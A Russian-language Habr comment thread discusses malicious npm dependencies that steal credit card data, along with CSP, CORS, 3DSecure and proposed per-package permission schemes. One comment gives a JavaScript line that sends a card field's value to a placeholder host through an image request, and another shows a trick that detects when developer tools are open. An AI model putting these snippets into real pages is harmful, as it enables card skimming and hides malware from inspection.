                  P.S. даже интересно за что заминусили мой предыдущий комментарий


                  1. QDeathNick
                    15.01.2018 13:03
                    +1

                    Никогда не было и вот опять.
                    А вы уверены, что 3DSecure у приватбанка является обязательной?

                    Вот вижу клиент пытается сделать её такой.

                    Ну и проверить же просто, давайте данные, я сниму денег без СМС.


                    1. vlreshet
                      15.01.2018 13:13

                      Хмм, не знал о таком повороте событий.


        1. Iceg
          12.01.2018 16:51

          По рассказам, нулёвая техническая защита компенсируется стопроцентной банковской — любой угон денег с кредитки возмещается банком в ста случаях из ста. Банкам выгоднее, чтобы люди без опасений пользовались кредитками — ущерб от краж перекрывается профитом от дохода.


          1. baldr
            12.01.2018 16:57

            Уточните страну, плз. В России если вы почитаете все договора, что вам подсунут в банках, окажется что в любом случае вы сами виноваты.
            Вы вводили свою кредитку в интернете? Надеемся, хотя бы CVV-код не вводили? Ах тоже ввели… Сами? А банк чем виноват? Ну идите в полицию.


            1. Iceg
              12.01.2018 16:59
              +1

              США же.


      1. Fanamura
        12.01.2018 04:26
        +1

        Меня лично больше всего даже не это беспокоит, а то, что 3D-secure вовсе не обязателен и его проверка вообще устанавливается не самой VISA допустим, или пойдем ниже, Сбербанком, а владельцем сайта. Когда-то давно столкнулся с тем, что захотел купить кое-что на амазоне, ввел данные карты и деньги сразу же списались. Без всякой смс от Сбербанка с кодом подтверждения. Почему нельзя принудительно заставить все платежи подтверждать смс? Хотя бы так.


        1. WatsOne
          12.01.2018 07:37

          Если магазин(сайт) проводит платежи без 3DS, то, грубо говоря, всю ответственность за платеж он берет на себя. То есть, именно магазин будет обязан вернуть деньги в случае чего. Включая 3ds — ответственность уже перекладывается на банк. (это все грубо говоря)


    1. budet
      12.01.2018 08:15

      Бинбанк пошел еще дальше: страница логина в интернет-банк (https://i.binbank.ru/login) вовсе не работает, если запретить «шпионский» функционал, и длится это более полугода. Их консультанты отписываются, что система «соответствует требованиям безопасности». Наверно, в требования безопасности включены: слив паролей Яндекс.Метрике и Google Analytics, а также рекламные трекеры.


      1. Areso
        12.01.2018 12:16

        Почти как СБОЛ с аналитикой в ЛК, включая форму логина. Такая же связка: ЯМ+GA

        Нотариально заверенный скриншот


  1. snuk182
    11.01.2018 19:55
    +1

    Make desktop applications great again.


    1. kekekeks
      12.01.2018 08:32

      А у них там какой-нибудь свой не менее толстый nuget.org. Мелких пакетов для "раскраски консоли", правда, нет, так что граф зависимостей обычно поменьше и читаем. Но от проблемы выше не избавляет.


      1. snuk182
        12.01.2018 14:31

        Приходите к нам в Rust! У нас все зависимости раздаются исключительно человеческими исходниками. Не в последнюю очередь потому что с зоопарком таргетов компиляции и отключаемыми фичами раздавать что-то (полу)собранное нереально, слишком большое количество вариантов бинаря выходит.
        Другое дело, что эти исходники надо не лениться читать.


        1. 0xd34df00d
          14.01.2018 22:47

          В Haskell. Тоже всё раздаётся только как исходники, да и нечистый код сразу видно: не обязательно читать все исходники, достаточно просмотреть API, живущий в монаде IO, и погрепать исходники на предмет пары функций вроде unsafePerformIO.


  1. computershik73
    11.01.2018 20:10

    и среди этих сайтов-жертв 100% есть vk.com и ok.ru ;)
    И страдают прежде всего те, кто покупает никому не нужные стикеры.


  1. FlameArt
    11.01.2018 20:11
    +1

    Ладно.

    let img=new Image(); img.src="https://LULsite.com/?credit="+$('.credit')[0].value;


    Это без всяких фетчей отправит запрос, который отследить сложнее, если смотреть через анализаторы кода или даже визуально. Кроме того, CSP пропустит этот запрос, если не указать img-src (чего почти никто не делает). А кроме Image сколько ещё есть прекрасного.

    Вывод: можно напрягаться и писать анализаторы, чем некогда занимался я, а можно выпустить продукт поскорее, просто не увлекаясь сторонними пакетами столь фанатично, и настроить несколько уровней безопасности, чтобы доступ к любому из них не дал украсть или разрушить всё остальное.


    1. pansa
      12.01.2018 01:50

      Не правда, директива connect-src не даст отправить запрос на img куда угодно, даже если не указан img-src. А её необходимо выставлять, на её отсутствие ругаются по-моему все верификаторы CSP.


  1. dagen
    11.01.2018 20:44

    А ещё (вдобавок к статье из блога Яндекса, оставленную выше) в текущем же блоге была близкая очень к текущей статье, правда написана не столь литературно: habrahabr.ru/company/ruvds/blog/335144


  1. id_potassium_chloride
    11.01.2018 21:43

    О, ужас! Это же почти идеальное преступление! Два вопроса:
    1)А «ВКонтакте» тоже «под колпаком»?
    2)А как происходит отслеживание открытия средств разработчика?


    1. Xu4
      12.01.2018 17:30

      А как происходит отслеживание открытия средств разработчика?

      Например, так:

      var devtools = /./;
      devtools.toString = function() {
        this.opened = true;
      }
      
      console.log(devtools);
      
      if (devtools.opened === true) {
          alert('Панель разработчика открыта');
      } else {
          alert('Панель разработчика закрыта');
      }
      


  1. alex6636
    11.01.2018 22:09

    JS прекрасный язык, статья очередное тому подтверждение


    1. Tab10id
      12.01.2018 00:30

      Язык тут вобщем-то не при чем совсем.


    1. Areso
      12.01.2018 05:56
      +1

      Такое бывает и в плагинах для WP. А вектор атаки сейчас доступен вообще почти любому современному языку, у которого есть репозиторий — у Руби гемы, у Шарпа НуГет, у Питона Пип и т.д.


      1. alex6636
        12.01.2018 11:12

        все равно, js — «прекрасный» язык


  1. Tairesh
    11.01.2018 22:14

    Неплохой бизнес-план, почему нет метки "Туториал"?


  1. justkost
    11.01.2018 23:51

    Вот так прочитал статью перед сном, теперь вообще не усну


  1. kirBurkhanov
    12.01.2018 00:03

    Так решение находится на поверхности и оно вроде достаточно простое. И уже реализовано в iOS и Android.


    1. Нужна возможность при подключении пакета/модуля (через import) выставлять права доступа (работа с DOM, network (Ajax), canvas, использование events и тд).
    2. Полностью изолировать код модуля. Window и document не доступен, стандартные функции объектов string, array и т.д тоже, если их не как-то передать при инициализации модуля.

    Короче нужно расширения для webpack =)


    1. baldr
      12.01.2018 00:05

      Ну вот какие разрешения вы бы поставили для Bootstrap? А для jQuery?


      1. kirBurkhanov
        12.01.2018 00:12

        Так не надо использовать одну библиотеку, которая делает все и является прослойкой от native js. Если брать подход с использованием ядра в виде react, vuejs, angular с различными доп. модулями, которые решают конкретную задачу, то идея с правами доступа имеет право на жизнь. Но это не гарантирует, что нельзя будет вставить вредоносный код (если его добавят в ядро какого нибудь react, у которого будет доступ к DOM, то можно будет делать любые get запросы)


        1. baldr
          12.01.2018 00:19
          -1

          Ну конечно, давайте еще разделим на 30 разных частей. И для каждой свои разрешения.
          А в итоге опять получим через полгода новый фреймворк, который удобно их объединяет в две строчки.


          1. TheShock
            12.01.2018 01:36

            А в чем проблема? Всякие JQuery и так разбиты на огромное количество модулей. А раньше его даже с сайта можно было сказать побитым на модули. Как сейчас jqueryui.

            И в чем проблема вместо накликивания чекбоксов — прописать список импортов с разрешениями?


          1. kirBurkhanov
            12.01.2018 14:59
            -1

            О каких технологиях идёт речь? Так как если использовать реактивные фреймворки, то так оно и есть, подключаете только те пакеты, которые нужны. Нужна работа с запросами — подключили библиотеку. Нужен роутинг — снова подключим библиотеку. Видимо вы говорите про подобие jQuery лапши. Если да, то значит будет один огромный фреймворк, доверять вендору и не ограничивать права доступа пакета, решать вам.

            Я не говорю, что это решит проблему полностью, но безопаснее чуть-чуть станет. Все равно останется момент с доверием к вендору, но зато вы будете знать какие права нужны пакету, чтобы он работал. Ведь будет странно, если пакету нужен доступ к отправке запросов или к DOM, когда он меняет цвет сообщений в консоле, не так ли?


    1. vintage
      12.01.2018 00:56

      Держите песочницу: https://github.com/eigenmethod/mol/tree/master/func/sandbox
      Осталось генерируемые вебпаком для каждого модуля eval заменить на sandbox.eval.


      1. vintage
        12.01.2018 21:26

        Ну а пока вы минусуете, я поисследовал тему. Концепция модулей в JS заключается в том, что каждый модуль — это синглтон. И это проблема. Мы не можем выдать права модулю в момент подключения. Ибо подключаться он может из разных мест с разными правами. По той же причине мы не можем распространять права транзитивно. То есть, например, выдали модулю "весёлая консолька" доступ к "console" и какие бы модули тот ни подключил — они не получат доступа к чему-то кроме "console".


        Идеально было бы на каждый require создавать отдельный инстанс модуля с отдельными правами. При обычном require('color-console') права просто бы передавались без изменений. А при require( 'color-console', { console } ) модуль запускался бы в песочнице, где из глобальных переменных была бы лишь та, что мы передали. К сожалению, такая логика сломает чуть ли не все существующие модули. Так что её если где и увидишь, то только в новых экосистемах.


        1. staticlab
          12.01.2018 23:09

          Если уж ломать систему, то полностью. Пусть функция будет выглядеть как require(packageName, globals = {}) (или можно назвать её safeRequire). Тогда по умолчанию никаких глобальных переменных для модуля вообще доступно не будет. Всяким лефтпадам оно и не нужно. Если же родитель вызывает модуль с некоторыми правами, например, cookies или fetch, то импортируемые им модули по умолчанию этих прав всё равно не получат, но сам он сможет передать их им при необходимости.


          С другой стороны, инстанцировать каждый модуль отдельно может быть весьма накладно, да и таскать эти глобалы неудобно — велик соблазн просто определить require = packageName => safeRequire(packageName, globals). Поэтому можно разграничивать модули по доменам безопасности, которыми, очевидно, являются пакеты. То есть, пул инстансов модулей будет только в пределах отдельного пакета, их импортирующего. Тогда распределение прав можно будет осуществить и в packages.json, примерно так:


          "permissions": {
            "required": [
              "console",
              "XMLHttpRequest"
            ],
            "optional": [
              "cookies"
            ],
            "dependencies": {
              "color-console": ["console"],
              "isomorphic-fetch": ["XMLHttpRequest"]
            }
          }

          Такая схема позволяет легко мониторить необходимые права для пакетов и их возможное повышение при обновлении. Менеджер пакетов может запретить установку пакета, если у его родителя недостаточно обязательных прав. Тут даже фрагментированность экосистемы сыграет на руку, ведь пакеты чаще всего маленькие, и им много прав может быть не нужно.


          Кроме того, можно начать вводить такую систему уже сейчас, если ввести временный внешний механизм контроля прав. Система сборки может автоматически обращаться к внешней базе, если не обнаружит в пакете требуемой информации о правах.


          1. vintage
            13.01.2018 09:11

            Тут та же проблема с транзитивными зависимостями. Модуль А зависит от Б и В, а Б и В зависят от Г и выдают ему разные права. Какие в итоге права будут у Г?


            1. staticlab
              13.01.2018 11:57

              Согласен. Если оставить возможность передачи прав для каждого модуля, то придётся инстанцировать каждый экземпляр. Как я уже сказал, это будет весьма накладно. Есть ли реальная потребность в разделении прав именно по модулям? Может быть будет достаточно только пакетного разделения по вышеприведённой схеме?


              1. vintage
                13.01.2018 14:57

                Я, конечно же, имел ввиду не node модули, а npm модули, они же пакеты. Проблема там та же.


                1. staticlab
                  13.01.2018 19:13

                  Так если вы изначально подразумевали уровень пакетов, то в чём тогда проблема?


                  Пакет А зависит от Б и В. Б и В зависят от Г, но каждый из них инстанцирует пакет независимо друг от друга, то есть будет отдельная версия Г1 для Б и Г2 для В, то есть проблемы ромба в принципе не будет.


                  Кстати говоря, в текущей системе пакетов NPM может возникнуть такая проблема, что могут быть установлены разные версии пакета, причём одна поставится, допустим, в корень иерархии, а другая — как локальный пакет для другого. В таком случае могут появиться неочевидные баги, если пакет спроектирован как синглтон. Сталкивался с таким при использовании react-router и history.


                  1. vintage
                    13.01.2018 19:32

                    Нет, изначально я имел ввиду именно node модули, в последнем сообщении уже пакеты. Суть проблемы же не меняется. Либо у нас проблема ромба с непонятными правами, либо полностью ациклическое дерево с комбинаторным взрывом числа листьев и соответственно без синглтонов.


                    justboris это всё работает пока у нас 10 зависимостей. Но вас не хватит вручную раздать права 10 тысячам модулей, приходящих через зависимости. А даже если и хватит, то это просто перекладывание ответственности, но не решение проблемы. Ну мы же тебе показали список на 100 экранов, ты согласился — сам дурак.


                    1. justboris
                      13.01.2018 19:37

                      Я предлагаю смотреть только на модули, явно импортируемые вами.


                      Что-то похожее на import-cost, только вместо размера показывать список прав которые нужны этому импорту, с учетом его зависимостей.


                      1. staticlab
                        13.01.2018 19:57

                        Тогда смотрите, что получится. npm пишет вам:


                        cool-logger (+2 deps): console, net

                        Но тогда мы не видим, что реально требует color-console: только консоль, или же ещё и доступ к сети.


                        1. justboris
                          13.01.2018 20:01

                          А зачем нам видеть что там реально происходит? Нам, как пользователям модуля, достаточно знать, что где-то там происходят запросы к сети, и если мы их не хотим, то лучше поискать другой логгер.


                          Например такой, где это будет сделано плагинами:


                          import logger from 'cool-logger'; // console
                          import logstashPlugin from 'cool-logger-logstash'; // net
                          
                          logger.use(logstashPlugin);

                          Здесь все прозрачно видно, что где происходит, и что нужно отключить, если не хочется ничего посылать в сеть


        1. justboris
          13.01.2018 18:14

          Куда-то не туда ваше развитие идеи повернуло. Зачем нужно заниматься сложным разборов прав в рантайме?


          По идее это нужно на этапе добавления нового модуля в проект. Чтобы при выполнении npm install color-console --save сам NPM писал, каких прав хочет пакет (и все его зависисмости) и спрашивал разрешение на продолжение. Если ответ положительный, то права записываются в package.json. Если когда-нибудь будущая версия color-console захочет больше прав, то при выполнении npm update диалог появится снова.


          1. staticlab
            13.01.2018 19:25

            Предположим, некий пакет cool-logger требует color-console и node-logstash. Соответственно, первому надо дать доступ к консоли, а второму — доступ к сети. Как считаете, cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net? Или он должен требовать { console, net } и раздавать права самостоятельно? Или его права должны неявно делегироваться всем его зависимостям?


            1. justboris
              13.01.2018 19:32

              cool-logger сам по себе должен требовать пустое множество прав, а его зависимости отдельно console и net

              Да, я думаю так.


              Пользователь при добавлении логгера в package.json увидит агрегированный список прав, которые требуются модулю и всем его зависимостям и сам решит, нужен ему такой логгер, или лучше поискать другой, который просит меньше.


              Сами модули никому никаких прав не делегируют, просто прозрачно показывают, что им требуется, чтобы конечный пользователь принял решение.


  1. baldr
    12.01.2018 00:17
    +1

    Вообще, конечно, не вижу реально удобного способа решения проблемы из статьи…
    Я, в основном, backend-разработчик. Для фронтенд-части у меня есть скрипт с Gulp, который собирает все зависимости и пакует из них одну сборку. Я не хочу залезать в каждую библиотеку и смотреть что оно там по зависимостям тянет. Да и не разберусь я в ноде — я на джанге пишу.

    Сейчас вот просто посчитал — в папке node_modules у меня 2192 раза встречается файл package.json. И что я должен с эим делать?

    Вот как раз два дня назад при отладке на localhost заметил что браузер заблокировал два запроса на домен vseolice.ru. Мало того что это локалхост, так ведь и ничего похожего я не использую — ни баннеров, ни вообще российских доменов.

    Грустно все это.


  1. x893
    12.01.2018 00:45

    Вот отличный ответ банковским гуру программирования, когда они отвечают — мы берем скрипты только из проверенных google/yandex/yadro и ещё 100500 источников. А потом удивляются что у пользователей деньги воруют.


  1. flancer
    12.01.2018 01:26

    Чувак, написавший статью — теоретик. В теории, оно возможно и так, а на практике сколько он чего и у кого стянул таким способом? Я писал тест на JS'е для оплаты тестовой кредитной картой покупки в тестовом магазине на тестовой учётке в braintree — я задолбался во фреймы нырять и эмулировать ввод данных на форме. И это при том, что у меня были все возможности отдебажить код на странице. Сделать обратную операцию и считать данные из формы у braintree — задача не намного более простая. А таких процессингов кредиток — не одна штука. И форматы форм у них почему-то не совпадают. В теории можно написать универсальный скрипт для всех процессингов, который будет сливать номера всех кредиток хитрым неотслеживаевым способом на засекреченный адрес в интернете. На практике можно даже написать статью, как это сделать в теории. Но сделать на практике то, что описано в этой теории, пока что не удалось никому. Включая автора статьи.


    1. xerxes
      12.01.2018 08:16

      Согласен. По множеству признаков видно, что текст написан не тем, кто мог бы такое сделать на самом деле, и его цель — привлечь внимание к проблеме.


    1. az79
      12.01.2018 13:17

      Зато номер кредитки очень легко определяется как номер кредитки. Длина и хэш. А еще по первым циферкам платежная система. А так как просят дату имя и cvv. То такой набор отслеживается на раз два даже без анализа надписей на формах.


      1. flancer
        12.01.2018 20:46

        В таком случае у вас блестящее будущее — вы сможете на раз-два надергать номеров кредиток из интернета и продать их оптом перекупщикам.


  1. vyatsek
    12.01.2018 01:33

    Проблема в том, что в npm и javascript нет доверенных источников и репутацию терять некому, фреймворк разработчики вместо того, чтобы написать нужную фичу самому, притащат в проект 100500 каких-то левых зависимостей.
    Если бы npm пакеты представляющие фреймворки релизились IT гигантами, непредвиденного г-на было бы на порядок меньше, а реюз на порядок выше.
    А статья класс, так и надо, хакеру за выдумку респект.


    1. MikailBag
      12.01.2018 23:21

      angular: google
      react: facebook
      vuejs: alibaba


      1. vyatsek
        14.01.2018 15:53
        -1

        Вы посмотрите дерево зависимостей.


  1. unique_ak
    12.01.2018 02:57

    Защитить себя, как пользователя просто — берем в привычку при вводе данных запускать инструменты разработчика, и тогда вредоносный код побоится себя проявить:)
    А если серьезно, то все выглядит печально. И не факт, что на backend-е ситуация значительно проще.


    1. sumanai
      12.01.2018 15:44

      Вот на этом моменте я засомневался- а как вообще отловить запуск инструментов разработчика в отдельном окне?


      1. mayorovp
        12.01.2018 15:53

        Раньше через console.log(toString() { /* Ага, кто-то открыл инструменты разработчика */ }) работало, сейчас эту дырку закрыли.


        В IE можно проверить открывались ли инструменты разработчика через проверку существования объекта console — до первого открытия этого консоли объекта не существует.


      1. unique_ak
        12.01.2018 18:09

        Вот работающий в хроме пример


  1. ArtesDi
    12.01.2018 05:46

    Гениальное исполнение зловещего гамбита. А на самом деле автор понимает, что рано или поздно он пропалиться, а значит пришло время прикрывать тыли социальной инженерией.
    Что может быть проще: прикрыться «выдуманной историей» поделившись рецептом с толпой. 1 из 1000000 да сделает свою примитивную реализацию. Таким образом, когда кто-нибудь на сайте и обнаружит эксплойт, отследят новоиспечённого засранца, «баг-фикс» закроют, и код мастера так же и останеться сидеть на сайте как бы не при делах.

    А вас что, и правда после слов «моя фантазия» паранойа отпустила? :)


  1. Danik-ik
    12.01.2018 07:48

    Да, это лишний раз напомнило мне о величайшем мифе современности, и не только в it, а даже на бытовом уровне: "Мы живём в безопасном мире". Подвиды его: всё можно предусмотреть, несчастный случай всегда результат халатности, моя милиция меня бережёт, мои права соблюдаются извне...


    И всячески стараемся забыть:


    Вместо того, чтобы вам говорить: "если угодно будет Господу и живы будем, то сделаем то или другое", — вы, по своей надменности, тщеславитесь: всякое такое тщеславие есть зло. (Иакова 4:15-16)


    Предусмотрите, что можете остановитесь на разумном пределе, а в остальном — будьте проще. И если откармливаете внутреннего параноика — не забывайте давать ему выходной.


  1. bro-dev
    12.01.2018 07:54

    Решение конкретно проблемы в статье простое, есть политика cors origin whitelist, которая просто запретит любые запросы кроме как на разрешенные домены, независимо от того что думает сервер-цель на это. Ну и да проблема вредоносного кода в зависимостях останется.
    Пока что я такую штуку видел тока 1 раз на сайте веб версии скайпа, если попытаться туда через консоль подгрузить jquery cdn например выйдет ошибка.


    1. pansa
      13.01.2018 01:20

      CORS не имеет никакого отношения к проблеме, описанной в статье. CSP — да, частично защитит.
      CORS позволяет разрешить вашему сайту отправлять запросы к site-X. Для этого со стороны site-X (!!!) в ответах выставляются CORS заголовки, в которых есть домен вашего сайта.
      CORS никак не сможет запретить useragent'у кинуть запрос на сайт хакера (случай с хакером-идиотом, который на своём сайте запретит ваш сайт мы не рассматриваем).


      1. bro-dev
        13.01.2018 09:11

        Я вам написал то что пишет в консоль гугл хром при такой ошибке, как именно это называется я хз, но думаю понятно что я имел виду.


        1. pansa
          13.01.2018 22:09

          М. Нет, совершенно не понятно, что вы имели в виду. Но в целом уже понятно, да.


  1. niddick
    12.01.2018 08:17

    между 7-ю утра и 7-ю вечера

    Это актуально только для конкретного часового пояса, в котором сидят разработчики использующие этот вымышленный вирус.

    Для остальных же запросы будут идти вполне себе в рабочее время :)

    Это конечно ничего не меняет, но все же :)


    1. quantum
      12.01.2018 09:10

      Это ж в браузере выполняется, смотрим время на компе


      1. asoukhoruchko
        12.01.2018 16:15

        Вот я работаю с американцами, и у меня рабочий день до 21-22, иногда 23.
        А всякие автоматизированные тесты вообще обычно гоняются ночью на свежем энвайроменте.
        Чем вам время на компе в этой ситуации поможет — не ясно.


        1. quantum
          12.01.2018 16:38

          Поэтому автор придумал все остальные защиты


      1. niddick
        12.01.2018 19:00

        А, да. Точняк.


    1. tangro
      12.01.2018 11:55

      «Для остальных»

      Остальные — это домохозяйки, понятия не имеющие об инструментах разработчика и Fiddler'е.


  1. Shumkov
    12.01.2018 08:19

    А что мешает изменить src в iframe на идентичную страницу на своем сервере?


    1. Shumkov
      12.01.2018 10:33

      Это, конечно, не универсальное решение и релевантно только для популярных источников.


  1. saterenko
    12.01.2018 10:18

    Вот почему я уже два раза ставил laravel, думая, что пора начать пользоваться современным фреймворком, смотрел на загруженные мегабайты, ужасался количеству неизвестного кода, сносил и использовал свой микрофреймворк…


    1. vlreshet
      12.01.2018 11:16
      +1

      Ларавель собран из symfony-пакетов, а симфони используется в кровавом энтерпрайзе серъёзными конторами. Я думаю его код уже ревьювили много раз. Да и сервер контролировать проще чем клиент, вплоть до фаервола на исходящие запросы, с белым листом разрешённых адресов.


      1. saterenko
        12.01.2018 11:36

        Это не решает проблему, а говорит лишь о вероятности её возникновения. Вот содержимое папки vendor: composer, dnoegel, doctrine, egulias, erusev, fideloper, filp, fzaninotto, hamcrest, jakub-onderka, laravel, league, mockery, monolog, mtdowling, myclabs, nesbot, nikic, paragonie, phar-io, phpdocumentor, phpspec, phpunit, psr, psy, ramsey, sebastian, swiftmailer, symfony, theseer, tijsverkoyen, vlucas, webmozart, в которой 5104 файла с расширением .php.


      1. Grief
        12.01.2018 14:12

        Я все комментарии проскроллил и не понимаю, почему только вы упомянули об этом — доступ во внешнюю сеть по белым спискам — это самый простой и эффективный способ борьбы с проблемой доверия к софту. Или я чего-то не понимаю? Но ведь в этом случае доступ к legit-analytics.com сразу бы заставил разработчиков поглядеть в код, который делает запросы к этому адресу, разве нет? А там уж все от квалификации разработчиков зависит.


        1. vlreshet
          12.01.2018 14:36

          Я тоже не понимаю почему никто это не упомянул. Белые списки, правда, не помогут от компрометации системы изнутри (например — какой-то код незаметно добавляет вашему сайту страницу вроде /asl230osfdklsdkl294fks.php, о которой знает только создатель этого кода). Но это уже надуманный способ, сильно сомневаюсь что такое успешно пролезет в opensource (особенно учитывая что серверный код обычно не минифицируют и не сжимают).


          1. Grief
            12.01.2018 16:11

            Даже если добавляет, данные во внешнюю сеть все равно не утекут, php все равно придется обратиться к внешнему ресурсу так или иначе, чтобы передать приступнику необходимую ему информацию. Если же разговор о том, что этот скрипт создаст бэкдор, которым сможет воспользоваться злоумышленник — доступ снаружи тоже, разумеется, должен быть ограничен списком «белых» урлов. Светить наружу урлы напрямую к third-party вообще за гранью добра и зла, а сотворить такую инжекцию, которая, к примеру, при логине определенным аккаунтом добавляет, скажем, в настройки акаунта дамп базы с паролями — это надо очень плохо код писать.


            1. baldr
              12.01.2018 16:23
              +1

              Я еще раз повторю, простите, — недостаток вашей фантазии не означает что это невозможно сделать.
              Зачем php-скрипту из WordPress обращаться на внешний адрес? Он может записать все в файлик uploads/picture345.jpg и все. Раз в три дня сканер пройдет и сам скачает этот файлик.


              1. Grief
                12.01.2018 16:41

                Не, я как раз описал нечто подобное во второй половине. Во-первых как php-скрипт там оказался? Разве .php живут не в read-only? Если у злоумышленника есть права на это — значит там уже была дыра конфигурации, которую можно эксплуатировать и другими путями, даже если весь софт самописный на 100%. Если этот файл там всегда был и он при определенных обстоятельствах вместо картинок сохраняет дампы базы — то, я говорю, это не очень умный человек написал, не должно быть петель снаружи наружу через third-party софт. Если бы эта картинка хоть немного прошла через самописный код, который эту картинку бы, например, ужимал и заодно стирал всякую стеганографию, ничего бы не вышло, а ошибка сразу бы вывела на нужный след разработчиков.


                1. baldr
                  12.01.2018 16:54

                  Да божемой, мне кажется, достаточно сказать «WordPress». Внутри каша из php-html-css-js и еще родной код более-менее форматирован.
                  А вот плагинов для него существует дочерта и внутри такой ад, что любой code-review окончится кровавыми слезами. Но как-то работают и вы можете просто посмотреть сколько интернет-магазинов строится на нем.
                  Это вы пишете прекрасный и красивый код, а большинству индусов все написать в одном файле — очевидная вещь.
                  Может быть в Facebook это и не пройдет. Пока. Начались же финансовые проблемы в Yahoo! и через некоторое время оказалось что пароли пользователей скомпрометированы и еще черт знает что…


              1. vlreshet
                12.01.2018 16:47

                Да можно даже картинку не сохранять. Сканер обратился на страницу — ему отдало всё до чего смогло добраться.


                1. LynXzp
                  14.01.2018 00:11

                  Все равно он должен куда-то это сохранять для хранения. Я далек от php, но кажется в ro файловой системе остается только БД. Правда я так понял что все происходит на стороне клиента в js.


                  1. sumanai
                    14.01.2018 00:14

                    Зачем что-то куда-то сохранять? Пришло обращение на определённый URL- собираешь данные и отдаёшь, безо всяких следов кроме строчки в логах веб-сервера, которую можно замаскировать под типичную для используемой CMS.
                    Придётся правда сканировать все возможные сайты с CMS, на которой потенциально установлено дополнение с дыркой. Как вариант- проверять на стороне сервера обновлений, добавив в User Agent скрипта, запрашивающего последнюю версию, нужный код. Правда тут уже уровень дополнений CMS, а не пакетов, которые они используют.


                    1. LynXzp
                      14.01.2018 00:26

                      Подождите, клиент заходит, оставляет данные своей кридитки, скрипт завершается, на сколько я знаю, все данные потерялись.


                      1. sumanai
                        14.01.2018 00:58

                        Такие данные действительно потеряются. А вот слить все мейлы не составит труда. Впоследствии никто не запрещает через этот бекдор поставить что поинтереснее, с сохранением всего хоть на яндекс диск.


  1. HellWalk
    12.01.2018 11:41
    +1

    Вот! Вот ОНО!
    Вот что мне не так не нравится в современных методах разработки, когда «запилим пару десятков зависимостей в composer, не сильно переживая о том что нужно, а что лишнее и он нам все подкачает»

    Добавлю страницу в закладки. Буду показывать всем, кто так любит менеджеры зависимостей, и когда все легко и по-современному.


    1. baldr
      12.01.2018 16:11

      Ну а какие варианты вы можете предложить? Долго и скучно сидеть полтора года и писать весь код самостоятельно, а потом тестировать и долго выпиливать баги? А в это время смотреть в окно на соседа-хипстера, который быстро сбацал веб-магазин для криптовалют и поменял уже третий BMW за два месяца?

      Мы разработчики и мы понимаем проблему и ее серьезность. А что вы скажете бизнесу?
      Вот приходите вы к директору и говорите — возможно, что в одной из 15000 зависимостей, которые тянет наш проект, есть какая-то уязвимость. А может и нет. Давайте потратим полгода на анализ? Или перепишем все сами?
      А директор вам — «а что может случиться? Кредитки пользователей уведут? А может и не уведут? А пожуй..»


  1. tangro
    12.01.2018 11:57

    Я вообще всегда исхожу из того, что данные карты, которые я ввожу где-то в Интернете, становятся известны всем вообще и сразу, поэтому денег у меня там ровно 0 до момента покупки чего-то, а на основной карте с деньгами вообще запрет всех интернет-операций.


    1. mayorovp
      12.01.2018 13:50

      То, что денег у вас там 0, еще не означает что их нельзя списать...


      1. vlreshet
        12.01.2018 13:54

        Пусть списывают весь мой ноль, мне не жалко. А овердрафт отключён.


        1. baldr
          12.01.2018 16:18

          Тут выше уже обсуждали что дело не только в карточках. У вас почта везде с двухфакторной аутентификацией? А пароль в Dropbox/Flickr/etc вы не вводите никогда?


          1. vlreshet
            12.01.2018 16:51

            У вас почта везде с двухфакторной аутентификацией
            Эээ, само собой, а у вас нет? Пароль + смс либо пароль + гугл аутентификатор. Почтовый ящик слишком большая ценность чтобы защищать его одним паролем. Везде где возможно включить двухфактор — он у меня включён. Даже на гитхабе (без приватных репозиториев), даже в вк.


  1. annechko
    12.01.2018 16:15

    а отключение js в браузере разве не защитит?


    1. f_s_b_37
      12.01.2018 16:18
      +1

      Примерно так же как выключение компьютера. Формально атакующий обломается, но современные сайты без JS работать не смогут, а если и смогут, то сочтут безJS'ного клиента ботом и забанят.


      1. annechko
        12.01.2018 16:52

        Смотря как реализована форма, если она просто в теге form, она спокойно отправится без js. Есть много сайтов где формы, появляются при нажатии на кнопку и отправляются модально, без перезагрузки страницы, при отключении js просто добавляется дополнительная промежуточная страница с формой и она сабмитится без js


  1. tankomazzz
    12.01.2018 19:05

    Ну хоть в этом случае шапочка из фольги помогает? Или можно уже снимать?


  1. pansa
    13.01.2018 01:57
    +1

    Зато оригинальная статья наконец дала пинка двухлетнему тикету на github и в хроме наконец внесли коммит для добавления «prefetch-src» в CSP? chromium-review.googlesource.com/c/chromium/src/+/864362
    Ура?


  1. karavan_750
    13.01.2018 20:05

    iptables -A OUTPUT -i lo -j ACCEPT
    iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
    iptables -A OUTPUT -m state --state NEW -m set --match-set access_list dst -j ACCEPT
    iptables -P OUTPUT DROP


    Список разрешенных адресов загоняем в ipset.
    С FQDN будет посложнее, но тоже реализуемо.


    1. baldr
      13.01.2018 21:12

      Вы это к чему?


      1. karavan_750
        14.01.2018 00:05

        >>Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые
        >>выполняет ваш сайт, скажем, к рекламным сетям.
        Был введен в заблуждение этими строками, подумал, что запросы все-же осуществляются с сервера.


    1. pansa
      13.01.2018 22:11

      Атака client-side, какой iptables?